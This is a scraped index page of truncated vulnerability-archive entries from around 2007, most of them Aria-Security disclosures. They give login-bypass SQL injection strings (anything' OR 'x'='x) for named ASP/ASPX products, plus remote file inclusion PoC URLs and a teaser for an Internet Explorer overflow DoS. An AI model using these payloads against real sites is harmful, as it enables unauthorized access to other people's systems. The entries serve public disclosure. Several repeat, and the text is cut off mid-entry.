PHPMytourney - 'menu.php' Remote File Inclusion

Title : phpMytourney functionsfile Remote File Inclusion Vulnerability Author : S.W.A.T. Contact : [email protected] S.Page : http://script.vanta.ru/download.php?id=1178&clas=0 $$ : Free Site : Http://www.XmorS-Security.CoM - Http://www.xmors.com - Http://www.xmors.net Vuln Code:...

Project and Project issue tracking - Access bypass

The Project and Project issue tracking modules provide a series of permissions to control access to projects and issues: "access projects", "access own projects", "access project issues" and "access own project issues". While these permissions correctly prevent users from viewing the entire proje...

NSFOCUS SA2007-01 : Microsoft IE5 CSS Parsing Memory Corruption Vulnerability

NSFOCUS Security Advisory SA2007-01 Microsoft IE5 CSS Parsing Memory Corruption Vulnerability Release Date: 2007-08-15 CVE ID: CVE-2007-0943 http://www.nsfocus.com/english/homepage/research/0701.htm Affected systems & software =================== Internet Explorer 5.01 Unaffected systems & softwa...

sashotel-sql.txt

A R I A - S E CU R I T Y SAS Hotel Management System SQL Injection http://www.sellatsite.com/sellatsite/hotel.asp Explanation: http://path/admin/admin.asp Username: anything' OR 'x'='x password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net...

nextgen-sql.txt

Aria-Security Team Next Gen Portfolio Manager SQL Injection http://www.weaveyourwebdreams.com/ http://example.com/path/default.asp?ExecuteTheLogin=1&UsersEmail=anything%27+OR+%27x%27%3D%27x&UsersPassword=anything%27+OR+%27x%27%3D%27x Credits: Aria-Security Team http://aria-security.net/forum...

giab-sql.txt

A R I A - S E C U R I T Y Gallery In A Box Username & Password Parameters SQL Injection Vendor: http://www.kerberosdev.net/ http://target.com/adminconsole/index.asp Username: anything' OR 'x'='x Password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net...

ariadnecms-rfi.txt

A R I A - S E C U R I T Y Ariadne CMS Remote File Inclusion Vendor: http://www.ariadne-cms.org/ Source Code: function LoadingDone parent.LoadingDone; PoC: http://site.com/path/view.php?ariadne=SHELL? Credits: Aria-Security Team http://Aria-Security.net http://outlaw.aria-security.info...

Ariadne CMS Remote File Inclusion

A R I A - S E C U R I T Y Ariadne CMS Remote File Inclusion Vendor: http://www.ariadne-cms.org/ Source Code: ?php require"./ariadne.inc"; require$ariadne."/configs/ariadne.phtml"; $PATHINFO = $HTTPSERVERVARS"PATHINFO"; ? html head script function LoadingDone parent.LoadingDone; PoC:...

MS Internet Explorer 6 DirectX Media Remote Overflow DoS Exploit-vulnerability warning-the black bar safety net

!--============================================================================ dxtmsft.dll Remote Buffer Overflow Exploit Internet Explorer ver 6.0 DeltahackingSecurityTEAM Bug discovered by Dr. Pantagon Affected Software: dxtmsft.dll DirectX Media -- Image DirectX Transforms DLL VER :...

[Aria-Security.Net] Next Gen Portfolio Manager SQL Injection

Aria-Security Team Next Gen Portfolio Manager SQL Injection http://www.weaveyourwebdreams.com/ http://example.com/path/default.asp?ExecuteTheLogin=1&UsersEmail=anything27+OR+27x273D27x&UsersPassword=anything27+OR+27x273D27x Credits: Aria-Security Team http://aria-security.net/forum...

ecomscr-sql.txt

A R I A - S E C U R I T Y Vendor: http://www.e-commercescripts.com/dotnet/ E-commerceScripts ALL Apps Auction Script, Shopping Cart Script and Multi-Vendor E-Shop Script admin.aspx SQL Injection Username: anything' OR 'x'='x password: whatever you want or anything' OR 'x'='x Credits: Aria-Securit...

realestate-sql.txt

A R I A - S E C U R I T Y Real Estate listing website application template SQL Injection Vendor: http://www.codewidgets.com Username: admin Password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net http://outlaw.aria-security.info...

payroll-sql.txt

A R I A - S E C U R I T Y Pay Roll - Time Sheet and Punch Card Application With Web Interface SQL Injection Vendor: http://www.codewidgets.com http://target.com/PATH/login.asp Username: admin Password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net...

webevents-sql.txt

A R I A - S E C U R I T Y WebEvents: Online Event Registration Template Username Field SQL Injection Vendor: http://www.codewidgets.com http://target.com/PATH/signin.aspx Username: admin Password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net...

MS Internet Explorer 6 DirectX Media Remote Overflow DoS Exploit

Exploit for unknown platform in category dos / poc ================================================================ MS Internet Explorer 6 DirectX Media Remote Overflow DoS Exploit ================================================================ Sub jojo buff = String999999,...

E-commerceScripts ALL Apps (Auction Script, Shopping Cart Script and Multi-Vendor E-Shop Script) admin.aspx SQL

A R I A - S E C U R I T Y Vendor: http://www.e-commercescripts.com/dotnet/ E-commerceScripts ALL Apps Auction Script, Shopping Cart Script and Multi-Vendor E-Shop Script admin.aspx SQL Injection Username: anything' OR 'x'='x password: whatever you want or anything' OR 'x'='x Credits: Aria-Securit...

WebStore - Online Store Application Template SQL INJECTION

A R I A - S E C U R I T Y WebStore - Online Store Application Template SQL INJECTION Vendor: http://www.codewidgets.com http://target.com/PATH/signin.aspx Username: admin Password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net http://outlaw.aria-security.info...

dependet-sql.txt

A R I A - S E C U R I T Y Dependet Forums Username Field RemotE SQL Injection DORK: Powered by: Dependent Forums v1.02 Insert Your SQL Injection Code into the Username field. For Example ' union select from members where member=1 Credits: Aria-Security Team http://aria-security.net...

WebEvents: Online Event Registration Template Username Fields SQL INJECTION

A R I A - S E C U R I T Y WebEvents: Online Event Registration Template Username Field SQL Injection Vendor: http://www.codewidgets.com http://target.com/PATH/signin.aspx Username: admin Password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net...

Pay Roll - Time Sheet and Punch Card Application With Web Interface SQL Injection

A R I A - S E C U R I T Y Pay Roll - Time Sheet and Punch Card Application With Web Interface SQL Injection Vendor: http://www.codewidgets.com http://target.com/PATH/login.asp Username: admin Password: anything' OR 'x'='x Credits: Aria-Security Team http://aria-security.net...